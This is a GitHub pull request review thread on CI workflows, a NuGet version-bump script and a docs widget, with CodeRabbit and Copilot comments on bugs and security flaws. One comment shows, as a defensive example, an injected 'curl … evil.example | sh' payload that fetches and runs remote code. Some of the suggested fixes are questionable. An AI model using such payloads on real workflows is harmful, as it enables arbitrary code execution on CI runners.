Conversation
📝 WalkthroughWalkthroughThis PR introduces automated service update infrastructure consisting of two GitHub Actions workflows, a NuGet version bumping script, and configuration files. On release publication, a workflow triggers downstream repositories listed in dispatch targets. Target repositories then run a service update workflow that bumps NuGet package versions and creates a pull request with updated release notes. Minor formatting updates are also applied to documentation and release notes files. Changes
Sequence DiagramsequenceDiagram
participant Release as Release Published
participant TriggerWf as trigger-downstream.yml
participant Config as dispatch-targets.json
participant Token as GitHub App Token
participant TargetRepo as Target Repository
participant ServiceWf as service-update.yml
participant Script as bump-nuget.py
participant PR as Pull Request
Release->>TriggerWf: Repository dispatch event
TriggerWf->>Config: Read dispatch targets
TriggerWf->>Token: Generate App token
TriggerWf->>TargetRepo: Dispatch codebelt-service-update event
TargetRepo->>ServiceWf: Workflow triggered
ServiceWf->>Script: Execute bump-nuget.py
Script->>Script: Update Directory.Packages.props
ServiceWf->>ServiceWf: Update PackageReleaseNotes.txt
ServiceWf->>ServiceWf: Prepend CHANGELOG.md entry
ServiceWf->>PR: Create PR with changes
Estimated code review effort🎯 3 (Moderate) | ⏱️ ~30 minutes Possibly related PRs
Poem
🚥 Pre-merge checks | ✅ 1 | ❌ 2❌ Failed checks (1 warning, 1 inconclusive)
✅ Passed checks (1 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches
🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
There was a problem hiding this comment.
Pull request overview
This pull request introduces an automated infrastructure for propagating package updates across related repositories in the Codebelt ecosystem. When a release is published in an upstream repository (e.g., cuemon), it automatically triggers dependency updates in downstream repositories (e.g., asp-versioning), which then updates their release notes and changelog, and opens a pull request with the changes.
Changes:
- Added automated service update workflows that dispatch events to downstream repositories on release and handle incoming update requests by bumping NuGet packages, updating release notes, and creating pull requests
- Introduced a Python script that selectively updates only in-house packages (Codebelt, Cuemon, Savvyio) in Directory.Packages.props while skipping third-party dependencies
- Standardized version header format in release notes (added colon) and enhanced documentation footer with a contextual Q&A widget
Reviewed changes
Copilot reviewed 6 out of 6 changed files in this pull request and generated 14 comments.
Show a summary per file
| File | Description |
|---|---|
| .github/workflows/trigger-downstream.yml | New workflow that dispatches service update events to downstream repositories listed in dispatch-targets.json when a release is published |
| .github/workflows/service-update.yml | New workflow that handles incoming service update events by bumping packages, updating release notes and changelog, and creating a pull request |
| .github/scripts/bump-nuget.py | Python script that selectively updates only Codebelt/Cuemon/Savvyio packages in Directory.Packages.props based on the triggering source |
| .github/dispatch-targets.json | Configuration file listing downstream repositories (currently just "swashbuckle-aspnetcore") |
| .nuget/Codebelt.Extensions.Asp.Versioning/PackageReleaseNotes.txt | Standardized version header format by adding colon after "Version" |
| .docfx/docfx.json | Added Context7 Q&A widget script to documentation footer for contextual help |
| echo "" >> pr_body.txt | ||
| echo "Generated by codebelt-aicia" >> pr_body.txt | ||
| if [ -n "$SOURCE" ] && [ -n "$SRC_VER" ]; then | ||
| echo "Triggered by: ${SOURCE} @ ${SRC_VER}" >> pr_body.txt |
There was a problem hiding this comment.
Potential command injection vulnerability in the inline bash script. The variables SOURCE and SRC_VER come from user-controlled inputs (github.event.client_payload or github.event.inputs). While they're used in echo statements that write to a file, if these values contain special characters or command substitution syntax, they could potentially be exploited. Consider sanitizing or validating these inputs, or use safer methods for string interpolation that prevent command injection (e.g., printf with format specifiers).
| echo "Triggered by: ${SOURCE} @ ${SRC_VER}" >> pr_body.txt | |
| # Sanitize potentially user-controlled values to prevent command substitution | |
| SAFE_SOURCE="${SOURCE//\`/\\\`}" | |
| SAFE_SOURCE="${SAFE_SOURCE//\$/\\\$}" | |
| SAFE_SRC_VER="${SRC_VER//\`/\\\`}" | |
| SAFE_SRC_VER="${SAFE_SRC_VER//\$/\\\$}" | |
| echo "Triggered by: ${SAFE_SOURCE} @ ${SAFE_SRC_VER}" >> pr_body.txt |
| "globalMetadata": { | ||
| "_appTitle": "Extensions for Asp.Versioning by Codebelt", | ||
| "_appFooter": "<span>Generated by <strong>DocFX</strong>. Copyright 2024-2026 Geekle. All rights reserved.</span>", | ||
| "_appFooter": "<span>Generated by <strong>DocFX</strong>. Copyright 2024-2026 Geekle. All rights reserved.</span><script src=\"https://context7.com/widget.js\" data-library=\"/codebeltnet/asp-versioning\" data-color=\"#059669\" data-position=\"bottom-right\" data-placeholder=\"Ask anything about the ASP Versioning docs\"></script>", |
There was a problem hiding this comment.
External script loaded from third-party domain without integrity checks. The widget.js script is loaded from https://context7.com without any Subresource Integrity (SRI) hash or Content Security Policy. This creates a security risk as a compromise of the context7.com domain or a man-in-the-middle attack could inject malicious JavaScript into the documentation site. Consider adding an integrity attribute with an SRI hash if the script content is stable, or at minimum document this security tradeoff.
| "_appFooter": "<span>Generated by <strong>DocFX</strong>. Copyright 2024-2026 Geekle. All rights reserved.</span><script src=\"https://context7.com/widget.js\" data-library=\"/codebeltnet/asp-versioning\" data-color=\"#059669\" data-position=\"bottom-right\" data-placeholder=\"Ask anything about the ASP Versioning docs\"></script>", | |
| "_appFooter": "<span>Generated by <strong>DocFX</strong>. Copyright 2024-2026 Geekle. All rights reserved.</span><script src=\"https://context7.com/widget.js\" integrity=\"sha384-REPLACE_WITH_REAL_SRI_HASH\" crossorigin=\"anonymous\" data-library=\"/codebeltnet/asp-versioning\" data-color=\"#059669\" data-position=\"bottom-right\" data-placeholder=\"Ask anything about the ASP Versioning docs\"></script>", |
| - name: Checkout | ||
| uses: actions/checkout@v4 | ||
| with: | ||
| fetch-depth: 0 |
There was a problem hiding this comment.
The workflow uses fetch-depth: 0 which fetches the entire git history. While this is necessary if the workflow needs access to all commits (e.g., for git log operations), it can significantly slow down the checkout step for repositories with large histories. Based on the workflow logic, only the latest commit should be needed. Consider using the default shallow clone (fetch-depth: 1) unless the full history is specifically required.
| fetch-depth: 0 | |
| fetch-depth: 1 |
| echo "Triggered by: manual workflow dispatch" >> pr_body.txt | ||
| fi | ||
| gh pr create --title "V${NEW}/service update" --body-file pr_body.txt --base main --head "$BRANCH" --assignee gimlichael |
There was a problem hiding this comment.
Hardcoded assignee 'gimlichael' in PR creation command. If the maintainer changes or this workflow needs to be adapted for other repositories, this hardcoded username will need to be updated. Consider making this configurable through a repository variable or extracting it from repository metadata.
| for repo in targets: | ||
| url = f'https://api.github.com/repos/codebeltnet/{repo}/dispatches' |
There was a problem hiding this comment.
No validation that dispatch-targets.json contains valid repository names. If the JSON file contains invalid repository names (e.g., names with special characters, non-existent repositories, or repositories outside the codebeltnet organization), the dispatch requests will fail but only after the GitHub App token is generated. Consider adding validation to check that repository names match expected patterns before making API calls.
| git config user.name "codebelt-aicia[bot]" | ||
| git config user.email "codebelt-aicia[bot]@users.noreply.github.com" | ||
| git checkout -b "$BRANCH" |
There was a problem hiding this comment.
Race condition risk when multiple service updates are triggered simultaneously. If two upstream repositories release at nearly the same time, both workflows could try to create branches with the same name (since both would read the same CURRENT version from CHANGELOG.md), leading to git push failures. Consider adding a check to see if the branch already exists, or include a timestamp or triggering source in the branch name to ensure uniqueness.
| git config user.name "codebelt-aicia[bot]" | |
| git config user.email "codebelt-aicia[bot]@users.noreply.github.com" | |
| git checkout -b "$BRANCH" | |
| BASE_BRANCH="$BRANCH" | |
| # Ensure branch name is unique in case multiple runs target the same version | |
| if git ls-remote --exit-code --heads origin "$BRANCH" >/dev/null 2>&1; then | |
| BRANCH="${BASE_BRANCH}-${GITHUB_RUN_ID}" | |
| fi | |
| git config user.name "codebelt-aicia[bot]" | |
| git config user.email "codebelt-aicia[bot]@users.noreply.github.com" | |
| git checkout -b "$BRANCH" || git checkout "$BRANCH" |
| # Match PackageVersion elements (handles multiline) | ||
| pattern = re.compile( | ||
| r"<PackageVersion\b" | ||
| r'(?=[^>]*\bInclude="([^"]+)")' | ||
| r'(?=[^>]*\bVersion="([^"]+)")' | ||
| r"[^>]*>", | ||
| re.DOTALL, |
There was a problem hiding this comment.
Potential issue with the regex pattern matching multiline PackageVersion elements. The regex uses re.DOTALL to match across lines, but the positive lookahead assertions may not work correctly if the Include and Version attributes are separated by newlines or significant whitespace. While this might work for most cases, consider testing with various formatting styles in Directory.Packages.props to ensure robustness.
| # Match PackageVersion elements (handles multiline) | |
| pattern = re.compile( | |
| r"<PackageVersion\b" | |
| r'(?=[^>]*\bInclude="([^"]+)")' | |
| r'(?=[^>]*\bVersion="([^"]+)")' | |
| r"[^>]*>", | |
| re.DOTALL, | |
| # Match PackageVersion elements (handles multiline and flexible whitespace) | |
| pattern = re.compile( | |
| r"<PackageVersion\b" | |
| r'(?=[^>]*\bInclude\s*=\s*"([^"]+)")' | |
| r'(?=[^>]*\bVersion\s*=\s*"([^"]+)")' | |
| r"[^>]*>", |
| with open("CHANGELOG.md") as f: | ||
| content = f.read() | ||
| idx = content.find("## [") | ||
| content = (content[:idx] + entry + content[idx:]) if idx != -1 else (content + entry) |
There was a problem hiding this comment.
Potential data loss if CHANGELOG.md doesn't contain the expected version header pattern. If the file exists but doesn't contain "## [" anywhere (idx == -1), the new entry is appended to the end rather than prepended to the beginning. This could result in the changelog being in reverse chronological order or entries being placed in the wrong location. Consider validating that idx is found and failing with a clear error if the expected pattern is missing.
| content = (content[:idx] + entry + content[idx:]) if idx != -1 else (content + entry) | |
| if idx == -1: | |
| raise SystemExit("CHANGELOG.md does not contain the expected '## [' version header pattern; aborting update. Please fix the changelog format and rerun.") | |
| content = content[:idx] + entry + content[idx:] |
| source = os.environ['SOURCE_REPO'] | ||
| for repo in targets: | ||
| url = f'https://api.github.com/repos/codebeltnet/{repo}/dispatches' |
There was a problem hiding this comment.
Hardcoded organization name 'codebeltnet' in the repository URL. If this workflow template is ever reused in a different organization or for testing purposes, this hardcoded value will cause dispatches to fail. Consider extracting this from github.repository_owner or making it configurable through a variable or repository setting.
| with open("Directory.Packages.props", "w") as f: | ||
| f.write(new_content) | ||
|
|
||
| return 0 if changes else 0 # Return 0 even if no changes (not an error) |
There was a problem hiding this comment.
Redundant return statement. Line 129 returns 0 in both branches of the ternary operator, making the conditional logic unnecessary. This should simply be "return 0".
| return 0 if changes else 0 # Return 0 even if no changes (not an error) | |
| return 0 # Return 0 even if no changes (not an error) |
There was a problem hiding this comment.
Actionable comments posted: 6
🧹 Nitpick comments (3)
.github/scripts/bump-nuget.py (2)
70-70: Preferstr.removeprefix("v")overlstrip("v").
lstripinterprets its argument as a character set and repeatedly strips matching characters from the leading end.removeprefixtreats the argument as an unbroken substring and removes at most one copy. For"v10.3.0"both produce the same result, butlstrip("v")would also silently strip from an unusual tag like"vv10.3.0"or any version string starting with multiplevs.removeprefix()was added in Python 3.9, and the workflow runs onubuntu-24.04(Python 3.12), so it is fully available here.🔧 Proposed fix
- target_version = TRIGGER_VERSION.lstrip("v") + target_version = TRIGGER_VERSION.removeprefix("v")🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.github/scripts/bump-nuget.py at line 70, Replace the use of TRIGGER_VERSION.lstrip("v") when computing target_version with TRIGGER_VERSION.removeprefix("v") to avoid treating "v" as a character set; update the assignment to target_version = TRIGGER_VERSION.removeprefix("v") (ensure TRIGGER_VERSION is a str and the runtime is Python 3.9+ as expected).
126-127: File is always written back, even when nothing changed.
new_contentequalscontentwhen no packages are updated, yet the file is unconditionally written. This unnecessarily touchesDirectory.Packages.props, which can affectgit diff --cached --quietchecks in the calling workflow.🔧 Proposed fix
- with open("Directory.Packages.props", "w") as f: - f.write(new_content) + if new_content != content: + with open("Directory.Packages.props", "w") as f: + f.write(new_content)🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.github/scripts/bump-nuget.py around lines 126 - 127, The script currently always overwrites Directory.Packages.props by calling open(...).write(new_content) even when new_content == content; change the logic in the bump routine so you compare new_content to the original content and only open/write the file when they differ (i.e., guard the write with if new_content != content), using the same variables new_content and content and keeping the existing write block (the code that opens "Directory.Packages.props" and writes new_content) inside that conditional to avoid touching the file when nothing changed..docfx/docfx.json (1)
48-48: Consider adding a Subresource Integrity (SRI) hash to the external widget script.
context7.com/widget.jsis loaded without anintegrity=attribute. If the CDN is compromised or the resource path changes, arbitrary JavaScript would execute in every doc visitor's browser session. Adding an SRI hash pins the script to a known-good content hash and mitigates supply-chain injection.- "<span>...</span><script src=\"https://context7.com/widget.js\" data-library=\"...\" ...></script>" + "<span>...</span><script src=\"https://context7.com/widget.js\" integrity=\"sha384-<HASH>\" crossorigin=\"anonymous\" data-library=\"...\" ...></script>"Note: SRI is only practical when the remote resource has a stable, versioned URL (e.g.,
widget.js?v=1.2.3). If the widget auto-updates its content at a fixed URL this won't be feasible, but in that case a Content-Security-Policyscript-srcallowlist forcontext7.comis a viable partial mitigation.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.docfx/docfx.json at line 48, The embedded widget script in the _appFooter value loads https://context7.com/widget.js without Subresource Integrity; update the _appFooter string to include an integrity="sha384-..." attribute (use the actual SRI hash computed from the current widget.js file) and add crossorigin="anonymous" to the <script> tag referencing that URL (i.e., modify the "_appFooter" entry that contains the context7.com/widget.js script); if the widget URL cannot be pinned (auto-updates), instead add a note and implement a CSP script-src allowlist for context7.com as a mitigation.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In @.github/scripts/bump-nuget.py:
- Line 129: The final return uses a redundant conditional expression "return 0
if changes else 0"; replace it with a simple unconditional "return 0" to remove
the useless conditional and silence the Ruff RUF034 warning in the bump-nuget.py
function containing that return.
In @.github/workflows/service-update.yml:
- Around line 46-51: The script currently assumes CURRENT (from grep on
CHANGELOG.md) always exists; when empty the awk line that computes NEW and
BRANCH produces invalid refs and leaves the repo in a partially-modified state.
Add a guard immediately after computing CURRENT that checks if CURRENT is empty
or unset and if so logs a clear error and exits non‑zero before any file
modifications (or alternatively prompts/sets a safe default); reference the
CURRENT/NEW/BRANCH variables and the grep/awk computation so you place the check
right after the CURRENT assignment and before the awk that builds NEW and the
BRANCH assignment.
- Line 139: The gh pr create command currently hardcodes --assignee gimlichael
and --base main; remove the hardcoded assignee flag and replace the hardcoded
base with a variable (e.g. --base "$DEFAULT_BRANCH") so the workflow works
across forks and repos with different default branches. Add logic earlier in the
workflow to populate DEFAULT_BRANCH (for example from the repo metadata or an
env fallback that detects origin's default branch or falls back to main/master)
and ensure the gh pr create invocation uses --base "$DEFAULT_BRANCH" and no
--assignee value.
- Around line 70-75: The TFM assignment is currently using a pipeline
`TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //' || echo "...")`
which makes the fallback unreachable; change the extraction to assign whatever
the pipeline produces into TFM and then apply a shell-default fallback (e.g.,
use `${TFM:-".NET 10, .NET 9 and .NET Standard 2.0"}`) wherever TFM is used or
immediately after the pipeline so that an empty TFM becomes the default; update
the use in the ENTRY variable (the `Availability: ${TFM}` portion) to reference
the defaulted value to ensure the release notes always include a non-empty
Availability string.
- Around line 38-41: The current use of inline expressions for
github.event.client_payload.source_repo and
github.event.client_payload.source_version is vulnerable to expression
injection; move those expressions into workflow env variables and reference them
in the shell script as shell variables instead of interpolating with ${{ }}.
Specifically, add env entries that set e.g. SOURCE: ${{
github.event.client_payload.source_repo || github.event.inputs.source_repo }}
and VERSION: ${{ github.event.client_payload.source_version ||
github.event.inputs.source_version }}, then in the script reference the shell
variables SOURCE and VERSION (without further ${ { } } interpolation) when
emitting to GITHUB_OUTPUT to eliminate command injection via workflow_dispatch
payloads.
In @.github/workflows/trigger-downstream.yml:
- Around line 50-74: The loop uses urllib.request.urlopen without a timeout and
doesn't handle per-request exceptions, so a slow or failing GitHub call can hang
or abort the entire loop; update the request to call urllib.request.urlopen(req,
timeout=10) (or another reasonable seconds value) and wrap the call in a
try/except that catches urllib.error.HTTPError and urllib.error.URLError (and a
generic Exception fallback) to log the failure for that repo (include the repo
name and error) and continue to the next target; look for the loop over targets
and the urllib.request.urlopen call to apply these changes.
---
Nitpick comments:
In @.docfx/docfx.json:
- Line 48: The embedded widget script in the _appFooter value loads
https://context7.com/widget.js without Subresource Integrity; update the
_appFooter string to include an integrity="sha384-..." attribute (use the actual
SRI hash computed from the current widget.js file) and add
crossorigin="anonymous" to the <script> tag referencing that URL (i.e., modify
the "_appFooter" entry that contains the context7.com/widget.js script); if the
widget URL cannot be pinned (auto-updates), instead add a note and implement a
CSP script-src allowlist for context7.com as a mitigation.
In @.github/scripts/bump-nuget.py:
- Line 70: Replace the use of TRIGGER_VERSION.lstrip("v") when computing
target_version with TRIGGER_VERSION.removeprefix("v") to avoid treating "v" as a
character set; update the assignment to target_version =
TRIGGER_VERSION.removeprefix("v") (ensure TRIGGER_VERSION is a str and the
runtime is Python 3.9+ as expected).
- Around line 126-127: The script currently always overwrites
Directory.Packages.props by calling open(...).write(new_content) even when
new_content == content; change the logic in the bump routine so you compare
new_content to the original content and only open/write the file when they
differ (i.e., guard the write with if new_content != content), using the same
variables new_content and content and keeping the existing write block (the code
that opens "Directory.Packages.props" and writes new_content) inside that
conditional to avoid touching the file when nothing changed.
| with open("Directory.Packages.props", "w") as f: | ||
| f.write(new_content) | ||
|
|
||
| return 0 if changes else 0 # Return 0 even if no changes (not an error) |
There was a problem hiding this comment.
Remove the useless conditional — flagged by Ruff (RUF034).
Both branches of return 0 if changes else 0 are identical; the expression always evaluates to 0 regardless of changes. Simplify to avoid the dead-code warning.
🔧 Proposed fix
- return 0 if changes else 0 # Return 0 even if no changes (not an error)
+ return 0 # Return 0 even if no changes (not an error)🧰 Tools
🪛 Ruff (0.15.1)
[warning] 129-129: Useless if-else condition
(RUF034)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/scripts/bump-nuget.py at line 129, The final return uses a redundant
conditional expression "return 0 if changes else 0"; replace it with a simple
unconditional "return 0" to remove the useless conditional and silence the Ruff
RUF034 warning in the bump-nuget.py function containing that return.
| SOURCE="${{ github.event.client_payload.source_repo || github.event.inputs.source_repo }}" | ||
| VERSION="${{ github.event.client_payload.source_version || github.event.inputs.source_version }}" | ||
| echo "source=$SOURCE" >> $GITHUB_OUTPUT | ||
| echo "version=$VERSION" >> $GITHUB_OUTPUT |
There was a problem hiding this comment.
Expression injection: pass client_payload values via env:, not inline ${{ }}.
The ${{ github.event.client_payload.source_repo }} and source_version expressions are interpolated into the shell script before the runner executes it. A workflow_dispatch caller (anyone with write access) can supply a value such as "; curl -s https://evil.example | sh #" to execute arbitrary commands. The repository_dispatch path is lower risk because only callers with push access to the upstream repo control the payload, but the workflow_dispatch path is directly exploitable.
The safe pattern is to assign the expression to an env: variable and reference it as a shell variable:
🔒 Proposed fix
- name: Resolve trigger inputs
id: trigger
+ env:
+ _SOURCE: ${{ github.event.client_payload.source_repo || github.event.inputs.source_repo }}
+ _VERSION: ${{ github.event.client_payload.source_version || github.event.inputs.source_version }}
run: |
- SOURCE="${{ github.event.client_payload.source_repo || github.event.inputs.source_repo }}"
- VERSION="${{ github.event.client_payload.source_version || github.event.inputs.source_version }}"
- echo "source=$SOURCE" >> $GITHUB_OUTPUT
- echo "version=$VERSION" >> $GITHUB_OUTPUT
+ echo "source=$_SOURCE" >> $GITHUB_OUTPUT
+ echo "version=$_VERSION" >> $GITHUB_OUTPUT📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| SOURCE="${{ github.event.client_payload.source_repo || github.event.inputs.source_repo }}" | |
| VERSION="${{ github.event.client_payload.source_version || github.event.inputs.source_version }}" | |
| echo "source=$SOURCE" >> $GITHUB_OUTPUT | |
| echo "version=$VERSION" >> $GITHUB_OUTPUT | |
| - name: Resolve trigger inputs | |
| id: trigger | |
| env: | |
| _SOURCE: ${{ github.event.client_payload.source_repo || github.event.inputs.source_repo }} | |
| _VERSION: ${{ github.event.client_payload.source_version || github.event.inputs.source_version }} | |
| run: | | |
| echo "source=$_SOURCE" >> $GITHUB_OUTPUT | |
| echo "version=$_VERSION" >> $GITHUB_OUTPUT |
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/service-update.yml around lines 38 - 41, The current use
of inline expressions for github.event.client_payload.source_repo and
github.event.client_payload.source_version is vulnerable to expression
injection; move those expressions into workflow env variables and reference them
in the shell script as shell variables instead of interpolating with ${{ }}.
Specifically, add env entries that set e.g. SOURCE: ${{
github.event.client_payload.source_repo || github.event.inputs.source_repo }}
and VERSION: ${{ github.event.client_payload.source_version ||
github.event.inputs.source_version }}, then in the script reference the shell
variables SOURCE and VERSION (without further ${ { } } interpolation) when
emitting to GITHUB_OUTPUT to eliminate command injection via workflow_dispatch
payloads.
| CURRENT=$(grep -oP '(?<=## \[)[\d.]+(?=\])' CHANGELOG.md | head -1) | ||
| NEW=$(echo "$CURRENT" | awk -F. '{printf "%s.%s.%d", $1, $2, $3+1}') | ||
| BRANCH="v${NEW}/service-update" | ||
| echo "current=$CURRENT" >> $GITHUB_OUTPUT | ||
| echo "new=$NEW" >> $GITHUB_OUTPUT | ||
| echo "branch=$BRANCH" >> $GITHUB_OUTPUT |
There was a problem hiding this comment.
Missing guard when CHANGELOG.md has no ## [X.Y.Z] version entry.
If grep finds no match, CURRENT is an empty string. The awk command then produces "..1" for NEW and "v..1/service-update" for BRANCH. Git rejects that as an invalid ref name, but by then PackageReleaseNotes.txt and Directory.Packages.props have already been modified, leaving the working tree in a partially-mutated state.
🔧 Proposed fix
run: |
CURRENT=$(grep -oP '(?<=## \[)[\d.]+(?=\])' CHANGELOG.md | head -1)
+ if [ -z "$CURRENT" ]; then
+ echo "Error: could not determine current version from CHANGELOG.md"
+ exit 1
+ fi
NEW=$(echo "$CURRENT" | awk -F. '{printf "%s.%s.%d", $1, $2, $3+1}')
BRANCH="v${NEW}/service-update"📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| CURRENT=$(grep -oP '(?<=## \[)[\d.]+(?=\])' CHANGELOG.md | head -1) | |
| NEW=$(echo "$CURRENT" | awk -F. '{printf "%s.%s.%d", $1, $2, $3+1}') | |
| BRANCH="v${NEW}/service-update" | |
| echo "current=$CURRENT" >> $GITHUB_OUTPUT | |
| echo "new=$NEW" >> $GITHUB_OUTPUT | |
| echo "branch=$BRANCH" >> $GITHUB_OUTPUT | |
| CURRENT=$(grep -oP '(?<=## \[)[\d.]+(?=\])' CHANGELOG.md | head -1) | |
| if [ -z "$CURRENT" ]; then | |
| echo "Error: could not determine current version from CHANGELOG.md" | |
| exit 1 | |
| fi | |
| NEW=$(echo "$CURRENT" | awk -F. '{printf "%s.%s.%d", $1, $2, $3+1}') | |
| BRANCH="v${NEW}/service-update" | |
| echo "current=$CURRENT" >> $GITHUB_OUTPUT | |
| echo "new=$NEW" >> $GITHUB_OUTPUT | |
| echo "branch=$BRANCH" >> $GITHUB_OUTPUT |
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/service-update.yml around lines 46 - 51, The script
currently assumes CURRENT (from grep on CHANGELOG.md) always exists; when empty
the awk line that computes NEW and BRANCH produces invalid refs and leaves the
repo in a partially-modified state. Add a guard immediately after computing
CURRENT that checks if CURRENT is empty or unset and if so logs a clear error
and exits non‑zero before any file modifications (or alternatively prompts/sets
a safe default); reference the CURRENT/NEW/BRANCH variables and the grep/awk
computation so you place the check right after the CURRENT assignment and before
the awk that builds NEW and the BRANCH assignment.
| for f in .nuget/*/PackageReleaseNotes.txt; do | ||
| [ -f "$f" ] || continue | ||
| TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //' || echo ".NET 10, .NET 9 and .NET Standard 2.0") | ||
| ENTRY="Version: ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n" | ||
| { printf "$ENTRY"; cat "$f"; } > "$f.tmp" && mv "$f.tmp" "$f" | ||
| done |
There was a problem hiding this comment.
TFM fallback is unreachable without pipefail.
In the pipeline grep ... | sed ... || echo "...", bash evaluates the exit code of sed (the last command), not grep. When grep finds no Availability: line it exits 1, but sed receives empty input and exits 0, so the || echo fallback never fires and TFM is silently set to an empty string. The resulting entry becomes Availability: with no TFM text.
🔧 Proposed fix
for f in .nuget/*/PackageReleaseNotes.txt; do
[ -f "$f" ] || continue
- TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //' || echo ".NET 10, .NET 9 and .NET Standard 2.0")
+ TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //')
+ TFM="${TFM:-.NET 10, .NET 9 and .NET Standard 2.0}"Using the shell parameter expansion ${TFM:-default} applies the fallback when TFM is empty regardless of which stage in the pipeline returned a zero exit code.
📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| for f in .nuget/*/PackageReleaseNotes.txt; do | |
| [ -f "$f" ] || continue | |
| TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //' || echo ".NET 10, .NET 9 and .NET Standard 2.0") | |
| ENTRY="Version: ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n" | |
| { printf "$ENTRY"; cat "$f"; } > "$f.tmp" && mv "$f.tmp" "$f" | |
| done | |
| for f in .nuget/*/PackageReleaseNotes.txt; do | |
| [ -f "$f" ] || continue | |
| TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //') | |
| TFM="${TFM:-.NET 10, .NET 9 and .NET Standard 2.0}" | |
| ENTRY="Version: ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n" | |
| { printf "$ENTRY"; cat "$f"; } > "$f.tmp" && mv "$f.tmp" "$f" | |
| done |
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/service-update.yml around lines 70 - 75, The TFM
assignment is currently using a pipeline `TFM=$(grep -m1 "^Availability:" "$f" |
sed 's/Availability: //' || echo "...")` which makes the fallback unreachable;
change the extraction to assign whatever the pipeline produces into TFM and then
apply a shell-default fallback (e.g., use `${TFM:-".NET 10, .NET 9 and .NET
Standard 2.0"}`) wherever TFM is used or immediately after the pipeline so that
an empty TFM becomes the default; update the use in the ENTRY variable (the
`Availability: ${TFM}` portion) to reference the defaulted value to ensure the
release notes always include a non-empty Availability string.
| echo "Triggered by: manual workflow dispatch" >> pr_body.txt | ||
| fi | ||
| gh pr create --title "V${NEW}/service update" --body-file pr_body.txt --base main --head "$BRANCH" --assignee gimlichael |
There was a problem hiding this comment.
Hardcoded --assignee gimlichael and --base main reduce portability.
--assignee gimlichael will fail silently or error if that user is ever renamed or loses write access to a fork of this template. --base main breaks if a downstream repo's default branch is named differently (e.g. master).
🔧 Proposed fix
- gh pr create --title "V${NEW}/service update" --body-file pr_body.txt --base main --head "$BRANCH" --assignee gimlichael
+ DEFAULT_BRANCH=$(gh repo view --json defaultBranchRef --jq '.defaultBranchRef.name')
+ gh pr create --title "V${NEW}/service update" --body-file pr_body.txt --base "$DEFAULT_BRANCH" --head "$BRANCH"📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| gh pr create --title "V${NEW}/service update" --body-file pr_body.txt --base main --head "$BRANCH" --assignee gimlichael | |
| DEFAULT_BRANCH=$(gh repo view --json defaultBranchRef --jq '.defaultBranchRef.name') | |
| gh pr create --title "V${NEW}/service update" --body-file pr_body.txt --base "$DEFAULT_BRANCH" --head "$BRANCH" |
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/service-update.yml at line 139, The gh pr create command
currently hardcodes --assignee gimlichael and --base main; remove the hardcoded
assignee flag and replace the hardcoded base with a variable (e.g. --base
"$DEFAULT_BRANCH") so the workflow works across forks and repos with different
default branches. Add logic earlier in the workflow to populate DEFAULT_BRANCH
(for example from the repo metadata or an env fallback that detects origin's
default branch or falls back to main/master) and ensure the gh pr create
invocation uses --base "$DEFAULT_BRANCH" and no --assignee value.
| import json, urllib.request, os, sys | ||
| targets = json.load(open('.github/dispatch-targets.json')) | ||
| token = os.environ['GH_TOKEN'] | ||
| version = os.environ['VERSION'] | ||
| source = os.environ['SOURCE_REPO'] | ||
| for repo in targets: | ||
| url = f'https://api.github.com/repos/codebeltnet/{repo}/dispatches' | ||
| payload = json.dumps({ | ||
| 'event_type': 'codebelt-service-update', | ||
| 'client_payload': { | ||
| 'source_repo': source, | ||
| 'source_version': version | ||
| } | ||
| }).encode() | ||
| req = urllib.request.Request(url, data=payload, method='POST', headers={ | ||
| 'Authorization': f'Bearer {token}', | ||
| 'Accept': 'application/vnd.github+json', | ||
| 'Content-Type': 'application/json', | ||
| 'X-GitHub-Api-Version': '2022-11-28' | ||
| }) | ||
| with urllib.request.urlopen(req) as r: | ||
| print(f'✓ Dispatched to {repo}: HTTP {r.status}') | ||
| EOF |
There was a problem hiding this comment.
urllib.request.urlopen has no timeout, and a mid-loop error blocks remaining dispatches.
Without a timeout= argument, urlopen inherits the default socket timeout which can be indefinite in CI environments. If the GitHub API is temporarily slow, the workflow job can stall until the runner's 6-hour job limit.
Additionally, an HTTPError raised for the first failing target will abort the loop, leaving any subsequent repos in dispatch-targets.json un-notified.
